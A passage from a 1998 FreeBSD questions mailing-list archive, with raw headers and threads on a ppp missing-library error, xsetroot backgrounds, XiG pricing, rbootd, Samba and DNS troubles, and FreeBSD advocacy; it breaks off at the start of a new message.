from gate.lan.awfulhak.org (localhost [127.0.0.1]) by awfulhak.org (8.8.8/8.8.7) with ESMTP id HAA00702; Sat, 11 Apr 1998 07:12:40 +0100 (BST) (envelope-from brian@gate.lan.awfulhak.org) Message-Id: <199804110612.HAA00702@awfulhak.org> X-Mailer: exmh version 2.0.1 12/23/97 To: jwlo@ms11.hinet.net cc: freebsd-questions@FreeBSD.ORG Subject: Re: Can't start PPP In-reply-to: Your message of "Sat, 11 Apr 1998 09:57:11 +0800." <352ECDF6.52DC4029@ms11.hinet.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Sat, 11 Apr 1998 07:12:39 +0100 From: Brian Somers Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG > Hi, > > I have a PPP problem. When I run ppp, it got a message: > ld.so failed: Can't find shared library "libdes.so.7.5" > > Would anyone tell me how to solve it? >From ftp://ftp.freebsd.org/pub/FreeBSD/2.2.6-RELEASE/ERRATA.TXT o The ppp program fails to work, citing a missing shared library called "libdes.so.3.0". Fix: There are three possible fixes: 1. The easiest fix is to simply install the des distribution with /stand/sysinstall, remembering to pick a site that will allow you to export it if you're outside the United States and Canada (ftp.freebsd.org and ftp.internat.freebsd.org both fall into this category). 2. Purely as a work-around, and what you may need to do if ppp also constitutes your only way of getting to the net, is to simply do the following (as root): cp /usr/lib/libcrypt.so.2.0 /usr/lib/libdes.so.3.0 ldconfig -m /usr/lib 3. Another fix, and one which doesn't involve having to fetch the DES bits, is to install the ppp sources in /usr/src/usr.sbin/ppp and rebuild them. The sources are "smart" enough to know that the DES library isn't on the system and won't create a binary which depends on it. NOTE: If you choose the 2nd or 3rd fixes, you also will not be able to use MSCHAP (Microsoft Win*) style authentication. > Thanks in advance, > James. -- Brian , , Don't _EVER_ lose your sense of humour.... To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Apr 11 01:45:56 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id BAA09764 for freebsd-questions-outgoing; Sat, 11 Apr 1998 01:45:56 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from mailgw02.execpc.com (mailgw02.execpc.com [169.207.16.10]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id BAA09758 for ; Sat, 11 Apr 1998 01:45:52 -0700 (PDT) (envelope-from fpawlak@execpc.com) Received: from darkstar.connect.com (da-soocha-107.mdm.mke.execpc.com [169.207.81.235]) by mailgw02.execpc.com (8.8.8) id DAA28720; Sat, 11 Apr 1998 03:45:50 -0500 (CDT) Received: from darkstar.connect.com (localhost [127.0.0.1]) by darkstar.connect.com (8.8.8/8.8.8) with ESMTP id DAA20324; Sat, 11 Apr 1998 03:45:44 -0500 (CDT) Message-Id: <199804110845.DAA20324@darkstar.connect.com> Date: Sat, 11 Apr 1998 03:45:41 -0500 (CDT) From: Frank Pawlak Subject: Re: Pixmaps for xsetroot To: flygt@sr.se cc: freebsd-questions@FreeBSD.ORG In-Reply-To: <352F2B76.8D483C72@sr.se> MIME-Version: 1.0 Content-Type: TEXT/plain; CHARSET=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On 11 Apr, Gunnar Flygt wrote: > I have tried various bitmapformats to set as background in X, but I > can't > find what type it should be. I get the answer "wrong bitmapformat" with > allt the types I've tested. What should I use, and where can I find some > nice > examples? > > /Gunnar > > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message If I am not mistaken xset root is used to colorize the xwindow background. xpmroot is command use to put varoius backgrounds on xwindow. Give www.PLiG.org/xwinman/ a try. They have a link to xpm abckgrounds etc. Frank -- ----------------------------- "At no time is freedom of speech more precious then when a man hits his thumb with a hammer." -- Marshall Lumsden To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Apr 11 02:01:47 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id CAA11197 for freebsd-questions-outgoing; Sat, 11 Apr 1998 02:01:47 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from allegro.lemis.com (allegro.lemis.com [192.109.197.134]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id CAA11184 for ; Sat, 11 Apr 1998 02:01:40 -0700 (PDT) (envelope-from grog@lemis.com) Received: from freebie.lemis.com (freebie.lemis.com [192.109.197.137]) by allegro.lemis.com (8.8.7/8.8.5) with ESMTP id SAA20685; Sat, 11 Apr 1998 18:31:36 +0930 (CST) Received: (from grog@localhost) by freebie.lemis.com (8.8.8/8.8.7) id SAA19825; Sat, 11 Apr 1998 18:31:35 +0930 (CST) (envelope-from grog) Message-ID: <19980411183135.20025@freebie.lemis.com> Date: Sat, 11 Apr 1998 18:31:35 +0930 From: Greg Lehey To: Frank Pawlak , flygt@sr.se Cc: freebsd-questions@FreeBSD.ORG Subject: Re: Pixmaps for xsetroot References: <352F2B76.8D483C72@sr.se> <199804110845.DAA20324@darkstar.connect.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.89i In-Reply-To: <199804110845.DAA20324@darkstar.connect.com>; from Frank Pawlak on Sat, Apr 11, 1998 at 03:45:41AM -0500 WWW-Home-Page: http://www.lemis.com/~grog Organization: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8286 Fax: +61-8-8388-8725 Mobile: +61-41-739-7062 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sat, 11 April 1998 at 3:45:41 -0500, Frank Pawlak wrote: > On 11 Apr, Gunnar Flygt wrote: >> I have tried various bitmapformats to set as background in X, but I >> can't >> find what type it should be. I get the answer "wrong bitmapformat" with >> allt the types I've tested. What should I use, and where can I find some >> nice >> examples? >> >> /Gunnar >> >> >> To Unsubscribe: send mail to majordomo@FreeBSD.org >> with "unsubscribe freebsd-questions" in the body of the message > > If I am not mistaken xset root is used to colorize the xwindow > background. There's a man page. You can use the files in /usr/X11R6/include/X11/bitmaps to set a root background with the -bitmap option. Try: $ xsetroot -bitmap /usr/X11R6/include/X11/bitmaps/mensetmanus Obviously there are others, too. Greg To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Apr 11 02:12:37 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id CAA12065 for freebsd-questions-outgoing; Sat, 11 Apr 1998 02:12:37 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from allegro.lemis.com (allegro.lemis.com [192.109.197.134]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id CAA12055 for ; Sat, 11 Apr 1998 02:12:27 -0700 (PDT) (envelope-from grog@lemis.com) Received: from freebie.lemis.com (freebie.lemis.com [192.109.197.137]) by allegro.lemis.com (8.8.7/8.8.5) with ESMTP id SAA20707; Sat, 11 Apr 1998 18:42:13 +0930 (CST) Received: (from grog@localhost) by freebie.lemis.com (8.8.8/8.8.7) id SAA19847; Sat, 11 Apr 1998 18:42:12 +0930 (CST) (envelope-from grog) Message-ID: <19980411184211.20552@freebie.lemis.com> Date: Sat, 11 Apr 1998 18:42:11 +0930 From: Greg Lehey To: "Bryan K. Ogawa" , walton@nordicdms.com Cc: Giao Nguyen , freebsd-questions@FreeBSD.ORG Subject: Re: Fw: Your Article "Freeware: The Heart & Soul of the Internet References: <199804110718.AAA10461@foo.primenet.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Mailer: Mutt 0.89i gFrom: Greg Lehey In-Reply-To: <199804110718.AAA10461@foo.primenet.com>; from Bryan K. Ogawa on Sat, Apr 11, 1998 at 12:18:20AM -0700 WWW-Home-Page: http://www.lemis.com/~grog Organization: LEMIS, PO Box 460, Echunga SA 5153, Australia Phone: +61-8-8388-8286 Fax: +61-8-8388-8725 Mobile: +61-41-739-7062 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sat, 11 April 1998 at 0:18:20 -0700, Bryan K. Ogawa wrote: > In localhost.freebsd.questions you write: > >> What's Xig? > > Xi's AccelX server. See http://www.xig.com/ > > It costs US$100, but it is (more) easily configured than XFree, it > supports more video hardware, and it is generally faster. I run v3.1 > because the card I have is more stable under Xig and previously wasn't > supported by XFree. The biggest difference with the XiG server is that it supports multiple monitors. I've been using it for years for that reason. Unfortunately, it's been getting more and more expensive in that configuration. Once it came free with BSD/386. Then it cost $10 more for multi-head. Then it cost 2*$40 "special offer", including $40 for software I already had, and which I didn't get refunded. Now I discover that it would cost me $375 to upgrade to the newest version. XiG isn't perfect. I've decided the price is too high for the difference from XFree86, like I decided some time ago that BSD/OS was too expensive for the difference from FreeBSD. A propos configuration: yes, it's a sort of menu-driven thing. The real problem with configuring X isn't running the configuration system, which is acceptable (but not much more) on either product. The real problem is knowing the answers to the questions either installation process asks you. See "The Complete FreeBSD", second edition (http://www.cdrom.com/titles/os/bsdbook2.htm) for more details: it's a bitch. Greg To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Apr 11 05:17:10 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id FAA26448 for freebsd-questions-outgoing; Sat, 11 Apr 1998 05:17:10 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from imo19.mx.aol.com (imo19.mx.aol.com [198.81.17.41]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id FAA26442 for ; Sat, 11 Apr 1998 05:17:06 -0700 (PDT) (envelope-from Mike72757@aol.com) Received: from Mike72757@aol.com by imo19.mx.aol.com (IMOv13.ems) id HDCBa02675 for ; Sat, 11 Apr 1998 08:16:15 -0500 (EDT) From: Mike72757 Message-ID: <3e4c0b6.352f5f11@aol.com> Date: Sat, 11 Apr 1998 08:16:15 EDT To: freebsd-questions@FreeBSD.ORG Mime-Version: 1.0 Subject: bsdunix version 2.2.5 Content-type: text/plain; charset=US-ASCII Content-transfer-encoding: 7bit X-Mailer: AOL 3.0 16-bit for Windows sub 58 Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi my name is Scott Powers when I type in something like /usr it gives me a message saying that permision is denied I can't figure out what I am doing wrong note:I am the only person using the computer it is not networked thankyou Scott Powers Mike72757@aol.com To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Apr 11 05:25:15 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id FAA27165 for freebsd-questions-outgoing; Sat, 11 Apr 1998 05:25:15 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from user.xtdl.com (user.xtdl.com [206.25.228.20]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id FAA27159 for ; Sat, 11 Apr 1998 05:25:11 -0700 (PDT) (envelope-from sderdau@xtdl.com) Received: from derdau.xtdl.com (derdau.xtdl.com [206.25.228.100]) by user.xtdl.com (8.8.8/8.6.9) with SMTP id IAA15402; Sat, 11 Apr 1998 08:30:08 -0400 (EDT) Message-ID: <352F6121.167EB0E7@xtdl.com> Date: Sat, 11 Apr 1998 08:25:05 -0400 From: "Stephen A. Derdau" X-Mailer: Mozilla 3.04Gold (X11; I; FreeBSD 2.2.6-STABLE i386) MIME-Version: 1.0 To: Mike72757 CC: freebsd-questions@FreeBSD.ORG Subject: Re: bsdunix version 2.2.5 References: <3e4c0b6.352f5f11@aol.com> Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I'm a newbie so you may want to wait for someone else to respond. I did the same thing after rebuilding the Kernel a few dozen times. Instead of typing "cd " ../../compile/MYKERNEL I forgot the cd in front of the command. Or maybe you have an alias cd set up in your profile. and cd /usr means something else....? Mike72757 wrote: > > Hi my name is Scott Powers > when I type in something like > /usr > it gives me a message saying that permision is denied > I can't figure out what I am doing wrong > note:I am the only person using the computer it is not networked > > thankyou > > Scott Powers > > Mike72757@aol.com > > To Unsubscribe: send mail to majordomo@FreeBSD.org > with "unsubscribe freebsd-questions" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Apr 11 05:47:53 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id FAA28329 for freebsd-questions-outgoing; Sat, 11 Apr 1998 05:47:53 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from smtp.bc.rogers.wave.ca (smtp.bc.rogers.wave.ca [24.113.32.20]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id FAA28322 for ; Sat, 11 Apr 1998 05:47:50 -0700 (PDT) (envelope-from wwolf@rogers.wave.ca) Received: from mail.bc.rogers.wave.ca ([24.113.32.4]) by smtp.bc.rogers.wave.ca with ESMTP id <700707-20804>; Sat, 11 Apr 1998 08:43:58 -0400 Received: from avalon.ns.bc.rogers.wave.ca ([24.113.53.151]) by mail.bc.rogers.wave.ca with SMTP id <336065-7236>; Sat, 11 Apr 1998 08:47:30 -0400 Date: Sat, 11 Apr 1998 04:47:58 -0700 (PDT) From: Richard Broza X-Sender: wwolf@avalon.ns.bc.rogers.wave.ca To: Mike72757 cc: freebsd-questions@FreeBSD.ORG Subject: Re: bsdunix version 2.2.5 In-Reply-To: <3e4c0b6.352f5f11@aol.com> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG On Sat, 11 Apr 1998, Mike72757 wrote: > Hi my name is Scott Powers > when I type in something like > /usr > it gives me a message saying that permision is denied > I can't figure out what I am doing wrong > note:I am the only person using the computer it is not networked > > thankyou > > Scott Powers > > Mike72757@aol.com Hiya Scott; what your describing you are trying to execute the /usr directory, just to point you can't execute directories unless there is a executable file within that directory. Example to a exec a file within a dir.. the syntax is : // ie.. /usr/thefile or /usr/X11R6/bin/thefile Richard Broza irc: WhiteWolf | email: wwolf@rogers.wave.ca IRCop/Kline Coordinator | whitewolf@sorcery.net SorceryNet IRC | web: http://members.tripod.com/~Arawn Powered by Pepsi & FreeBSD 2.2.6 To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Apr 11 06:48:00 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id GAA01467 for freebsd-questions-outgoing; Sat, 11 Apr 1998 06:48:00 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from blue.knebel.com (pm3bl1-24.csrlink.net [209.173.88.25]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id GAA01462 for ; Sat, 11 Apr 1998 06:47:57 -0700 (PDT) (envelope-from rknebel@csrlink.net) Received: from blue.knebel.com (blue.knebel.com [127.0.0.1]) by blue.knebel.com (8.8.7/8.8.7) with ESMTP id JAA01487 for ; Sat, 11 Apr 1998 09:44:42 -0400 Message-Id: <199804111344.JAA01487@blue.knebel.com> X-Mailer: exmh version 2.0gamma 1/27/96 To: questions@FreeBSD.ORG Subject: freebsd 2.2.6 Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Date: Sat, 11 Apr 1998 09:44:42 -0400 From: Rick Knebel Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hi, Has anyone who has a subscription to freebsd from cdrom got there 2.2.6 yet. I thought it would be out by now? Thanks Alot -- Rick Knebel rknebel@csrlink.net To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Apr 11 07:00:57 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id HAA03283 for freebsd-questions-outgoing; Sat, 11 Apr 1998 07:00:57 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from mail1.realtime.net (mail1.realtime.net [205.238.128.217]) by hub.freebsd.org (8.8.8/8.8.8) with SMTP id HAA03278 for ; Sat, 11 Apr 1998 07:00:53 -0700 (PDT) (envelope-from jktheowl@bga.com) Received: (qmail 14656 invoked from network); 11 Apr 1998 14:00:51 -0000 Received: from zoom.realtime.net (HELO zoom.bga.com) (root@205.238.128.40) by mail1.realtime.net with SMTP; 11 Apr 1998 14:00:51 -0000 Received: from barnowl (apm7-215.realtime.net [204.96.0.215]) by zoom.bga.com (8.6.12/8.6.12) with SMTP id JAA10463; Sat, 11 Apr 1998 09:00:47 -0500 Date: Sat, 11 Apr 1998 09:07:26 -0500 (CDT) From: John Kenagy X-Sender: jktheowl@barnowl Reply-To: John Kenagy To: James Love cc: questions freebsd Subject: Re: Linux as an alternative to Microsoft In-Reply-To: <352F6D78.21D6FF00@cptech.org> Message-ID: MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Great! If you have any questions, post them to me or the list, freebsd-questions@freebsd.org. John On Sat, 11 Apr 1998, James Love wrote: > Someone just sent me a Walnut Creek version of FreeBSD, which I'm going > to install on a multiple boot machine at home, and check it out! jamie > > John Kenagy wrote: > > > Mr. Love, > > > > I appreciate your work and the lifelong efforts of Mr. Nader. > > > > However, there are other, and in my opinion, better options than > > Linux. I use FreeBSD (www.FreeBSD.org), a decendant of the Berkeley > > Unix. > > > > I beleive it to be more stable than Linux since Linux suffers from > > one of Microsoft's major flaws: trying to be everything to all. > > Linux also relies on development to come from several directions. > > Not a good thing - especially on a system you may make your living > > with. > > > > FreeBSD has a dedicated development team and a large group of > > volunteers who man the mailing lists, responding in their areas of > > expertise. > > > > The best news is that it is free. Or yu can purchase it from > > several major book chains for less than a Windows upgrade, with > > an excellent book by Greg Lehey , "The Complete FreeBSD". > > > > If you have questions, let us know! > > > > Keep up the good work, > > > > John Kenagy > > Austin, Texas > > > > -- > James Love > Consumer Project on Technology > P.O. Box 19367, Washington, DC 20036 > love@cptech.org | http://www.cptech.org > voice 202.387.8030, fax 202.234.5176 > > > > To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Apr 11 07:10:58 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id HAA04078 for freebsd-questions-outgoing; Sat, 11 Apr 1998 07:10:58 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from grizzly.fas.com (chs0274.awod.com [208.140.97.34]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id HAA04005 for ; Sat, 11 Apr 1998 07:10:54 -0700 (PDT) (envelope-from stanb@awod.com) Message-Id: <199804111410.HAA04005@hub.freebsd.org> Received: by grizzly.fas.com ($Revision: 1.37.109.23 $/16.2) id AA193783839; Sat, 11 Apr 1998 10:10:39 -0400 Subject: rbootd ? To: freebsd-questions@FreeBSD.ORG (Free BSD Questions list) Date: Sat, 11 Apr 1998 10:10:39 -0400 (EDT) From: "Stan Brown" X-Mailer: ELM [version 2.4 PL24] Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I am trying to install NetBSD on my 340. So far I have not managed to get SYS_INIT to work from the tape, and using the theory that I might have nade the tape incorectly, I am trying to install SYS_INIT using rbootd. I looked at rbootd on my HP 400runing as a cluster server, and it looked to tied into the cluster stuff to be usefuel. So I am trying to do it from a FreeBSD machine. I have placed the folowing in /etc/rbood.conf: # # ethernet addr boot file(s) comments # # 08:00:09:0:66:ad SYSHPBSD # snake (4.3BSD) 08:00:09:04:b2:01 SYS_INST I have placed the ungized version of SYS_INIT in /usr/mdec/rbootd. I then run rbootd as /usr/libexec/rbootd -d Here are the messages that I get when I power on the 340: << 22:44:41.497330 Addr: 08:00:09:04:b2:01 Intf: ed0 802.2 LLC: DSAP:f8 SSAP:f8 CTRL:3 HP Ext: DXSAP:806 SXSAP:906 Boot Request: (Send Server ID) RetCode:0 SeqNo:0 SessID:ffff Vers:512 Machine Type: HPS300 File Name (0): <> >>> 22:44:41.501127 Addr: 08:00:09:04:b2:01 Intf: ed0 802.2 LLC: DSAP:f8 SSAP:f8 CTRL:3 HP Ext: DXSAP:609 SXSAP:608 Boot Reply: RetCode:0 SeqNo:0 SessID:0 Vers:2 File Name (5): Could anyone suggest what I might be doing wrong here? BTW I am getting the following message in syslog: Apr 10 22:39:32 koala.fas.com rbootd[7464]: bpf: can't add mcast addr (Invalid a rgument), setting promiscuous mode -- Stan Brown stanb@netcom.com 770-996-6955 Factory Automation Systems Atlanta Ga. -- Look, look, see Windows 95. Buy, lemmings, buy! Pay no attention to that cliff ahead... Henry Spencer (c) 1998 Stan Brown. Redistribution via the Microsoft Network is prohibited. To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Apr 11 07:16:43 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id HAA04645 for freebsd-questions-outgoing; Sat, 11 Apr 1998 07:16:43 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from server4.mpcbbs.com.br (server4.mpc.com.br [200.246.0.252]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id HAA04634 for ; Sat, 11 Apr 1998 07:16:33 -0700 (PDT) (envelope-from capriotti@geocities.com) Received: from hot_nt (node15.mpc.com.br [200.246.0.15]) by server4.mpcbbs.com.br (8.8.6/8.8.6) with SMTP id LAA22680 for ; Sat, 11 Apr 1998 11:16:24 -0300 (EST) Message-Id: <3.0.32.19980411231011.00925910@pop.mpc.com.br> X-Sender: capriotti@pop.mpc.com.br (Unverified) X-Mailer: Windows Eudora Pro Version 3.0 (32) Date: Sat, 11 Apr 1998 23:10:26 -0300 To: freebsd-questions@FreeBSD.ORG From: Capriotti Subject: Samba issue again Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG Hey, all ! Samba issue strikes again. This is my hosts file : # # 127.0.0.1 localhost brain.mpc.com.br # This is nmbd's log: 04/11/98 12:21:05 netbios nameserver version 1.9.17p2 started Copyright Andrew Tridgell 1994-1997 Get_Hostbyname: Unknown host. brain This is smbd's log: Added interface ip=127.0.0.1 bcast=127.255.255.255 nmask=255.0.0.0 This is my smb.conf [global] interfaces=150.150.150.156/24 [cap] path=/home/cap read only = no And this is my ps -aux USER PID %CPU %MEM VSZ RSS TT STAT STARTED TIME COMMAND root 269 0.0 0.9 632 268 p0 R+ 12:24PM 0:00.00 ps -aux root 1 0.0 0.6 476 180 ?? Is 8:54AM 0:00.05 /sbin/init -- root 2 0.0 0.1 0 12 ?? DL 8:54AM 0:00.03 (pagedaemon) root 3 0.0 0.1 0 12 ?? DL 8:54AM 0:00.00 (vmdaemon) root 4 0.0 0.1 0 12 ?? DL 8:54AM 0:01.47 (update) root 27 0.0 0.3 200 80 ?? Is 8:54AM 0:00.01 adjkerntz -i root 83 0.0 1.8 204 524 ?? Ss 11:55AM 0:00.28 syslogd daemon 91 0.0 1.8 176 536 ?? Is 11:55AM 0:00.01 portmap root 112 0.0 1.8 192 536 ?? Is 11:55AM 0:00.20 inetd root 115 0.0 1.7 332 496 ?? Ss 11:55AM 0:00.12 cron root 119 0.0 2.3 552 680 ?? Is 11:55AM 0:00.04 sendmail: acce root 166 0.0 1.8 180 524 v0 Is+ 11:55AM 0:00.06 /usr/libexec/g root 167 0.0 1.8 180 524 v1 Is+ 11:55AM 0:00.06 /usr/libexec/g root 168 0.0 1.8 180 524 v2 Is+ 11:55AM 0:00.07 /usr/libexec/g root 169 0.0 1.9 212 560 ?? Ss 11:55AM 0:02.71 telnetd cap 170 0.0 0.7 480 200 p0 Is 11:55AM 0:00.19 -sh (sh) root 171 0.0 0.9 436 252 p0 I 11:55AM 0:00.18 -su (csh) root 174 0.0 2.5 720 744 p0 S 11:55AM 0:01.57 bash root 241 0.0 2.7 472 796 ?? Is 12:14PM 0:00.01 ./smbd -D -l/v root 0 0.0 0.0 0 0 ?? DLs 8:54AM 0:00.01 (swapper) bash-2.01# As you can see, smbd is running, but nmbd couldn't run. I would like to learn to solve this problem, rathr then just reinstalling freebsd from scratch. It would be MS Windows standard maintenance procedure, and not freebsd :) TIA ! To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Apr 11 07:29:20 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id HAA05625 for freebsd-questions-outgoing; Sat, 11 Apr 1998 07:29:20 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from server4.mpcbbs.com.br (server4.mpc.com.br [200.246.0.252]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id HAA05615 for ; Sat, 11 Apr 1998 07:29:15 -0700 (PDT) (envelope-from capriotti@geocities.com) Received: from hot_nt (node15.mpc.com.br [200.246.0.15]) by server4.mpcbbs.com.br (8.8.6/8.8.6) with SMTP id LAA22963 for ; Sat, 11 Apr 1998 11:29:11 -0300 (EST) Message-Id: <3.0.32.19980411232309.009ef780@pop.mpc.com.br> X-Sender: capriotti@pop.mpc.com.br X-Mailer: Windows Eudora Pro Version 3.0 (32) Date: Sat, 11 Apr 1998 23:23:12 -0300 To: freebsd-questions@FreeBSD.ORG From: Capriotti Subject: Samba and DNS problem ? Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I dont know if it really matters, but take a look at this : bash-2.01$ ftp ftp://ftp.freebsd.org ftp: ftp://ftp.freebsd.org: Unknown host ftp> open ftp.unicamp.br ftp: ftp.unicamp.br: Unknown host ftp> and also: #lynx http://www.freebsd.org Alert!: Unable to connect to remote host. lynx: Can't access startfile http://www.freebsd.org/ bash-2.01$ but lynx http://204.216.27.18 works fine ! Thi should be a problem with DNS - I think - but I have ppp running fine here. using ppp -alias provider allows me to use my NT box to connect to the NET w/o problems. Suggestions ? Is it related to the Smaba problem I am facing ? To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Apr 11 07:39:51 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id HAA06678 for freebsd-questions-outgoing; Sat, 11 Apr 1998 07:39:51 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from loki.kewanee.net (keppp05.inw.net [207.2.103.74]) by hub.freebsd.org (8.8.8/8.8.8) with ESMTP id HAA06670 for ; Sat, 11 Apr 1998 07:39:47 -0700 (PDT) (envelope-from denny@kewanee.net) Received: from loki.kewanee.net (localhost [127.0.0.1]) by loki.kewanee.net (8.8.8/8.8.7) with SMTP id JAA00370 for ; Sat, 11 Apr 1998 09:40:07 -0500 (CDT) (envelope-from denny@kewanee.net) From: Denny To: freebsd-questions@FreeBSD.ORG Subject: Re: Fw: Your Article "Freeware: The Heart & Soul of the Internet" Date: Sat, 11 Apr 1998 09:32:25 -0500 X-Mailer: KMail [version 0.5.5] MIME-Version: 1.0 Message-Id: <98041109400701.00337@loki.kewanee.net> Sender: owner-freebsd-questions@FreeBSD.ORG Precedence: bulk X-Loop: FreeBSD.ORG I don't see how we can expect the core team to do everything. >From my perspective, there is a growing group of people how aren't to the hacker level, but are no longer newbies. Why can't we organize a "FreeBSD Irregulars" that can handle PR and "Evangelism" (if you will) out of these people (which I definitely fall in to.) Let the core team do what they do best. On Sat, 11 Apr 1998, Kris Kirby wrote: >Frank Pawlak wrote: >> >> So far the FreeBSD core team has been relatively silent. > >Would you rather have a stable OS or a talked about OS? >-- > >Kris Kirby >------------------------------------------- >TGIFreeBSD... 'Nuff said. > >To Unsubscribe: send mail to majordomo@FreeBSD.org >with "unsubscribe freebsd-questions" in the body of the message To Unsubscribe: send mail to majordomo@FreeBSD.org with "unsubscribe freebsd-questions" in the body of the message From owner-freebsd-questions Sat Apr 11 07:45:25 1998 Return-Path: Received: (from majordom@localhost) by hub.freebsd.org (8.8.8/8.8.8) id HAA07446 for freebsd-questions-outgoing; Sat, 11 Apr 1998 07:45:25 -0700 (PDT) (envelope-from owner-freebsd-questions@FreeBSD.ORG) Received: from mail.hsonline.net (mail.hsonline.net [205.243.33.25]) by hub.freebsd.org (8.8.8/8.8.8) with SMTP id HAA07435 for ; Sat, 11 Apr 1998 07:45:21 -0700 (PDT) (envelope-from zamy27@hsonline.net) Received: from hsonline.net [208.10.214.107] by mail.hsonline.net with ESMTP (SMTPD32-4.03) id AF8F6C20096; Sat, 11 Apr 1998 09:51:27 EST Message-ID: <352F1202.31BFF2F6@hsonline.net> Date: Sat, 11 Apr 1998 09:47:30 +0300 From: Scott Myron X-Mailer: Mozilla 4.03 [en] (Win95; I) MIME-Version: 1.0 To: "freebsd-questions@FreeBSD.org" Subject: 2 questions... Content-Type: text/plain; 